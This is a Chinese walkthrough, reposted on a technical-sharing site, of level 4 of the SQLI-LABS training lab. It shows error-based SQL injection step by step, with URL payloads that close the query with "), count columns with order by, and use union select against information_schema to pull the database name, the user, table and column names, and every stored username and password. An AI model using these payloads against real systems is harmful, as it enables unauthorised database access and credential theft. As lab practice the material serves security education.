ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQLI-LABS(Less-4)

2022-09-05 19:04:41  阅读:216  来源: 互联网

标签:语句 回显 Less union LABS SQLI --+ id 注入


Less-4(Error based-Double Quotes-string)

打开Less-4页面,可以看到页面中间有一句Please input the ID as parameter with numeric value,那么先使用ID这个参数通过GET方式传入一个数值。

确定注入点

注入语句:?id=1

可以看出传入id=1可以正常回显,那么试一下?id=1',发现也是可以正常回显的。

接着尝试拼接?id=1",发现在双引号附近产生歧义导致了报错。

并且从上图报错中可以看出这条SQL语句的闭合方式为"),那么使用注入语句:?id=1") --+,看看是否能够正常闭合并注释,从下图看出是没有问题的。

接着尝试注入语句?id=1") and 1=1 --+?id=1") and 1=2 --+,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。

判断数据表列数

通过order by判断该表的字段数量(order by语句用于根据指定的列对结果集进行排序),URL后面拼接?id=1") order by 1 --+看是否报错:

当尝试到?id=1") order by 4 --+时,出现了报错,由此可以判断该表只有3列。

确定回显字段

注入语句:?id=1") and 1=2 union select 1,2,3 --+

这里使用and 1=2是为了让union之前的语句为假,从而不回显在前端页面。这样结合union之后的语句就可以通过前端页面的回显知道前端页面显示的是数据表的第几列。

确定当前数据库名和用户

从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数:user()(查看当前用户)、database()(查看当前数据库)、version()(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句:?id=1") and 1=2 union select 1,database(),user() --+

通过上述注入可以得知,当前数据库名为security,当前用户为root

确定当前数据库内表名

注入语句:?id=1") and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

通过上述注入可以得知当前数据库中存在emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句:?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

通过上述注入可以得知users表中存在三列,分别为idusernamepassword

确定users表中的用户名和密码

注入语句:?id=1") and 1=2 union select 1,group_concat(username),group_concat(password) from users --+

至此,就得到了当前表中所有的用户名和密码。

标签:语句,回显,Less,union,LABS,SQLI,--+,id,注入
来源: https://www.cnblogs.com/Timesi/p/16658129.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有